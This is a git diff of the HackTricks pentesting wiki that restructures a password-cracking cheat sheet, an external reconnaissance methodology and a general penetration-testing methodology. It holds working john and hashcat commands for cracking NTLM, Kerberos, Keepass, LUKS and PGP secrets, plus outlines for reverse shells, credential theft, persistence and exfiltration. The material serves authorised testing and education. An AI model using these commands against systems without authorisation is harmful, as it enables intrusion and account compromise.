-## JWT +### JWT ```bash git clone https://github.com/Sjord/jwtcrack.git @@ -509,7 +493,7 @@ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h john jwt.john #It does not work with Kali-John ``` -## NTLM cracking +### NTLM cracking ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: @@ -517,7 +501,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -## Keepass +### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john @@ -527,7 +511,7 @@ keepass2john -k file.kdbx > hash # The keepas is also using a fi john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` -## Keberoasting +### Keberoasting ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast @@ -535,9 +519,9 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -## Lucks image +### Lucks image -### Method 1 +#### Method 1 Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) @@ -548,7 +532,7 @@ ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -### Method 2 +#### Method 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 @@ -561,7 +545,7 @@ mount /dev/mapper/mylucksopen /mnt Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) -## Mysql +### Mysql ```bash #John hash format @@ -569,14 +553,14 @@ Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux- dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` -## PGP/GPG Private key +### PGP/GPG Private key ```bash gpg2john private_pgp.key #This will generate the hash, save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` -## Open Office Pwd Protected Column +### Open Office Pwd Protected Column If you have xlsx file with a column protected by password you can unprotect it: @@ -592,7 +576,7 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV zip -r file.xls . ``` -## PFX Certificates +### PFX Certificates ```bash # From https://github.com/Ridter/p12tool @@ -601,18 +585,18 @@ zip -r file.xls . crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -# Tools +## Tools **Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -## Hash-identifier +### Hash-identifier ```bash hash-identifier > ``` -## John mutation +### John mutation Read _**/etc/john/john.conf**_ and configure it @@ -621,7 +605,7 @@ john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` -## Hashcat +### Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" @@ -655,7 +639,6 @@ Cracking Common Application Hashes 1700 | SHA-512 | Raw Hash ``` -
Support HackTricks and get benefits! @@ -671,5 +654,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md similarity index 100% rename from exfiltration.md rename to generic-methodologies-and-resources/exfiltration.md diff --git a/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md similarity index 89% rename from external-recon-methodology/README.md rename to generic-methodologies-and-resources/external-recon-methodology/README.md index b3e0b65e..feb33a9d 100644 --- a/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,5 +1,7 @@ # External Recon Methodology +## External Recon Methodology +
Support HackTricks and get benefits! @@ -16,15 +18,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -********\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\ - +\ +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!\\ {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# Assets discoveries +## Assets discoveries > So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. @@ -35,7 +34,7 @@ The goal of this phase is to obtain all the **companies owned by the main compan 3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) 4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). -## **Acquisitions** +### **Acquisitions** First of all, we need to know which **other companies are owned by the main company**.\ One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ @@ -43,7 +42,7 @@ Other option is to visit the **Wikipedia** page of the main company and search f > Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. -## **ASNs** +### **ASNs** An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. @@ -61,13 +60,13 @@ amass intel -asn 8911,50313,394161 You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). -## **Looking for vulnerabilities** +### **Looking for vulnerabilities** At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ +Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ **Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -# Domains +## Domains > We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. @@ -75,7 +74,7 @@ _Please, note that in the following purposed techniques you can also find subdom First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. -## **Reverse DNS** +### **Reverse DNS** As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) @@ -89,7 +88,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns For this to work, the administrator has to enable manually the PTR.\ You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) -## **Reverse Whois (loop)** +### **Reverse Whois (loop)** Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ You can use online tools like: @@ -107,7 +106,7 @@ You can also perform some automatic reverse whois discovery with [amass](https:/ **Note that you can use this technique to discover more domain names every time you find a new domain.** -## **Trackers** +### **Trackers** If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. @@ -119,7 +118,7 @@ There are some pages that let you search by these trackers and more: * [**Publicwww**](https://publicwww.com) * [**SpyOnWeb**](http://spyonweb.com) -## **Favicon** +### **Favicon** Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: @@ -138,7 +137,7 @@ Moreover, you can also search technologies using the favicon hash as explained i hodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -## **Other ways** +### **Other ways** **Note that you can use this technique to discover more domain names every time you find a new domain.** @@ -156,20 +155,20 @@ Go to the main page an find something that identifies the company, like the copy [**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. -## **Looking for vulnerabilities** +### **Looking for vulnerabilities** -Check for some [domain takeover](../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ +If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -# Subdomains +## Subdomains > We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. It's time to find all the possible subdomains of each found domain. -## **DNS** +### **DNS** Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). @@ -177,7 +176,7 @@ Let's try to get **subdomains** from the **DNS** records. We should also try for dnsrecon -a -d tesla.com ``` -## **OSINT** +### **OSINT** The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html) @@ -202,7 +201,7 @@ This project offers for **free all the subdomains related to bug-bounty programs You could also find subdomains scrapping the web pages and parsing them (including JS files) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper). -## **RapidDNS** +### **RapidDNS** Quickly find subdomains using [RapidDNS](https://rapiddns.io) API (from [link](https://twitter.com/Verry\_\_D/status/1282293265597779968)): @@ -215,7 +214,7 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ } ``` -## **Shodan** +### **Shodan** You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following: @@ -226,7 +225,7 @@ It is possible to use Shodan from the official CLI to quickly analyze all IPs in * https://book.hacktricks.xyz/external-recon-methodology -## **DNS Brute force** +### **DNS Brute force** Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.\ The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors (you should always check for **false positives**) and the second one **is more reliable** (always use gobuster). @@ -255,7 +254,7 @@ puredns bruteforce all.txt domain.com Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning (DNS poisoning for example) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. -## **VHosts / Virtual Hosts** +### **VHosts / Virtual Hosts** You can find some VHosts in IPs using [HostHunter](https://github.com/SpiderLabs/HostHunter) @@ -279,7 +278,7 @@ VHostScan -t example.com With this technique you may even be able to access internal/hidden endpoints. {% endhint %} -## **CORS Brute Force** +### **CORS Brute Force** Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behavior to **discover** new **subdomains**. @@ -287,28 +286,28 @@ Sometimes you will find pages that only return the header _**Access-Control-Allo ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` -## **DNS Brute Force v2** +### **DNS Brute Force v2** Once you have finished looking for subdomains you can use [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**,** [**altdns**](https://github.com/infosec-au/altdns) and [**gotator**](https://github.com/Josue87/gotator) to generate possible permutations of the discovered subdomains and use again **massdns** and **gobuster** to search new domains. -## **Buckets Brute Force** +### **Buckets Brute Force** -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../pentesting/pentesting-web/buckets/). +While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). -## **Monitorization** +### **Monitorization** You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. -## **Looking for vulnerabilities** +### **Looking for vulnerabilities** -Check for possible [**subdomain takeovers**](../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../pentesting/pentesting-web/buckets/). +Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ +If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -# Web servers hunting +## Web servers hunting > We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. @@ -316,7 +315,7 @@ In the previous steps you have probably already performed some **recon of the IP Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting/pentesting-network/#http-port-discovery).\ +A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe) **and** [**fprobe**](https://github.com/theblackturtle/fprobe). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionaly, you can indicate to try other ports: ```bash @@ -324,17 +323,17 @@ cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 an cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` -## **Screenshots** +### **Screenshots** Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), \[shutter]\([**https://shutter-project.org/downloads/**](https://shutter-project.org/downloads/)) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -## Cloud Assets +### Cloud Assets Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.** -# Recapitulation 1 +## Recapitulation 1 > Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done (will see more tricks later).\ > Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that. @@ -347,9 +346,9 @@ So you have already: 4. Found all the **subdomains** of the domains (any subdomain takeover?) 5. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** (you can see a [guide for that here](../pentesting/pentesting-network/)), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open (this book already contains tons of information about possible vulnerabilities on a lot of common services). **But, don't forget that if the scope allows it, you should give it a try.** +Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** (you can see a [guide for that here](../pentesting-network/)), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open (this book already contains tons of information about possible vulnerabilities on a lot of common services). **But, don't forget that if the scope allows it, you should give it a try.** -## Github leaked secrets +### Github leaked secrets {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -357,11 +356,11 @@ Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not goin You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth\_key) -## [**Pentesting Web Methodology**](../pentesting/pentesting-web/) +### [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) -Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../pentesting/pentesting-web/). +Anyway, the **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). -# Recapitulation 2 +## Recapitulation 2 > Congratulations! The testing has finished! I hope you have find some vulnerabilities. @@ -370,7 +369,7 @@ As you can see there is a lot of different vulnerabilities to search for. **If you have find any vulnerability thanks to this book, please reference the book in your write-up.** -## **Automatic Tools** +### **Automatic Tools** There are several tools out there that will perform part of the proposed actions against a given scope. @@ -379,7 +378,7 @@ There are several tools out there that will perform part of the proposed actions * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated -# **References** +## **References** * **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** diff --git a/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md similarity index 100% rename from external-recon-methodology/github-leaked-secrets.md rename to generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md diff --git a/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md similarity index 69% rename from pentesting-methodology.md rename to generic-methodologies-and-resources/pentesting-methodology.md index a0193fce..d37d1cd4 100644 --- a/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -6,6 +6,8 @@ description: >- # Pentesting Methodology +## Pentesting Methodology +
Support HackTricks and get benefits! @@ -22,23 +24,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -******** + **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# Pentesting Methodology +## Pentesting Methodology -![](<.gitbook/assets/p2 (1).png>) +![](../.gitbook/assets/p2.png) -## 0- Physical Attacks +### 0- Physical Attacks -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](physical-attacks/escaping-from-gui-applications/). +Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../physical-attacks/physical-attacks.md) and others about [**escaping from GUI applications**](../physical-attacks/escaping-from-gui-applications/). -## 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) **Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). @@ -46,117 +46,117 @@ Do you have **physical access** to the machine that you want to attack? You shou Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. {% endhint %} -## **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** +### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** **This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting/pentesting-network/#sniffing). +Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). -## 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) +### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting/pentesting-network/#scanning-hosts). +The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). -## **4-** [Searching service version exploits](search-exploits.md) +### **4-** [Searching service version exploits](search-exploits.md) Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... -## **5-** Pentesting Services +### **5-** Pentesting Services If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** **Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). -**I want to make a special mention of the** [**Pentesting Web**](pentesting/pentesting-web/) **part (as it is the most extensive one).**\ +**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here. **If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). -### 5.1 Automatic Tools +#### 5.1 Automatic Tools There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** -### **5.2 Brute-Forcing services** +#### **5.2 Brute-Forcing services** In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](brute-force.md)**.** -## 6- [Phishing](phishing-methodology/) +### 6- [Phishing](phishing-methodology/) If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): -## **7-** [**Getting Shell**](shells/shells/) +### **7-** [**Getting Shell**](shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/shells/). +Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/). Specially in Windows you could need some help to **avoid antiviruses**: \[Check this page]\(windows/av-bypass.md)**.** -## 8- Inside +### 8- Inside If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: -* [**Linux**](linux-unix/useful-linux-commands/) -* [**Windows (CMD)**](windows/basic-cmd-for-pentesters.md) -* [**Winodows (PS)**](windows/basic-powershell-for-pentesters/) +* [**Linux**](../linux-hardening/useful-linux-commands/) +* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) +* [**Winodows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -## **9 -** [**Exfiltration**](exfiltration.md) +### **9 -** [**Exfiltration**](exfiltration.md) You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** -## **10- Privilege Escalation** +### **10- Privilege Escalation** -### **10.1- Local Privesc** +#### **10.1- Local Privesc** If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.**\ +Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ You should also check this pages about how does **Windows work**: -* [**Authentication, Credentials, Token privileges and UAC**](windows/authentication-credentials-uac-and-efs.md) -* How does [**NTLM works**](windows/ntlm/) -* How to [**steal credentials**](windows/stealing-credentials/) in Windows -* Some tricks about [_**Active Directory**_](windows/active-directory-methodology/) +* [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) +* How does [**NTLM works**](../windows-hardening/ntlm/) +* How to [**steal credentials**](../windows-hardening/stealing-credentials/) in Windows +* Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) **Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -### **10.2- Domain Privesc** +#### **10.2- Domain Privesc** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](windows/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. -## 11 - POST +### 11 - POST -### **11**.1 - Looting +#### **11**.1 - Looting Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](windows/stealing-credentials/). +Find here different ways to [**dump passwords in Windows**](../windows-hardening/stealing-credentials/). -### 11.2 - Persistence +#### 11.2 - Persistence **Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](windows/active-directory-methodology/#persistence)**.** +**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Complete persistence Post in Windows & Linux -## 12 - Pivoting +### 12 - Pivoting With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](windows/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to pivot on Windows environments.. +You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ +Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. -## MORE +### MORE -### [Android Applications](mobile-apps-pentesting/android-app-pentesting/) +#### [Android Applications](../mobile-pentesting/android-app-pentesting/) -### **Exploiting** +#### **Exploiting** -* [**Basic Linux Exploiting**](exploiting/linux-exploiting-basic-esp/) -* [**Basic Windows Exploiting**](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Basic exploiting tools**](exploiting/tools/) +* [**Basic Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/) +* [**Basic Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) +* [**Basic exploiting tools**](../exploiting/tools/) -### [**Basic Python**](misc/basic-python/) +#### [**Basic Python**](../misc/basic-python/) -### **Crypto tricks** +#### **Crypto tricks** -* [**ECB**](cryptography/electronic-code-book-ecb.md) -* [**CBC-MAC**](cryptography/cipher-block-chaining-cbc-mac-priv.md) -* [**Padding Oracle**](cryptography/padding-oracle-priv.md) +* [**ECB**](../cryptography/electronic-code-book-ecb.md) +* 